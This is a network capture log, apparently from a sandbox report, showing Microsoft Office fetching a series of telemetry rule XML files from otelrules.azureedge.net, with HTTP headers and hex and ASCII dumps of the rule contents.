2024-10-26 11:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 933aac65-d01e-007a-51aa-26f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-16849878b786lft2mu9uftf3y400000003b0000000000dc1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	49861	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-16849878b78xblwksrnkakc08w000000013g00000000fb5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:20 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49860	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 18d6d76d-f01e-0052-73f2-249224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-15b8d89586f4zwgbgswvrvz4vs000000037g000000002y8u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:20 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49862	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 796b115c-001e-005a-3627-26c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-r197bdfb6b4grkz4xgvkar0zcs00000001e0000000009rg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:20 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49863	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 952379c8-801e-0083-0604-25f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-15b8d89586fwzdd8urmg0p1ebs0000000ceg000000000axs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	49864	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:20 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a2526616-701e-0050-123d-266767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114920Z-17c5cb586f65j4snyp1hqk5z2s00000003d0000000002w4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49865	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:21 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:21 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: f6a2cc2d-401e-0015-3796-250e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114921Z-16849878b78bjkl8dpep89pbgg00000000q0000000006wk4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49866	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:21 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:21 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114921Z-16849878b78x6gn56mgecg60qc00000003ug0000000059t0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49867	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:21 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:21 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 12d8ca17-b01e-0098-4df1-26cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114921Z-16849878b7898p5f6vryaqvp5800000002qg00000000fa3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49868	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:21 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:21 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 2034bdf9-701e-003e-3056-2679b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114921Z-16849878b7867ttgfbpnfxt44s00000001vg000000006901 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49869	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:21 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:21 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:21 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1f235477-301e-003f-2c03-27266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114921Z-15b8d89586fnsf5zd126eyaetw00000003400000000060qg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:21 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49870	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:49:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:49:22 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c6fd9367-401e-008c-7f80-2686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114922Z-16849878b78p49s6zkwt11bbkn00000001p0000000006h65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:49:22 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49871	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:49:22 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
